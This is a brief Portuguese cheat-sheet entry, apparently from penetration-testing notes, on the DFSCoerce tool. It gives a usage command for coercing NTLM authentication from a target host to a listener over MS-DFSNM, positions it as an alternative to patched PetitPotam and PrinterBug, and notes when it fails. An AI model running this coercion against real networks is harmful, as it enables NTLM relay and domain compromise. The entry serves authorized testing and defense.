DFSCoerce

python dfscoerce.py -u <user> -p '<pass>' -d <domain> <listener-ip> <target-ip>

Força autenticação NTLM de um host para o listener através do serviço DFS (Distributed File System).

Quando PetitPotam e PrinterBug estão corrigidos, DFSCoerce é uma alternativa que abusa do MS-DFSNM para forçar autenticação. Útil em ambientes onde os outros vetores estão mitigados.

Se o serviço DFS estiver desabilitado ou o host não for vulnerável. Também se o firewall bloquear a porta 445.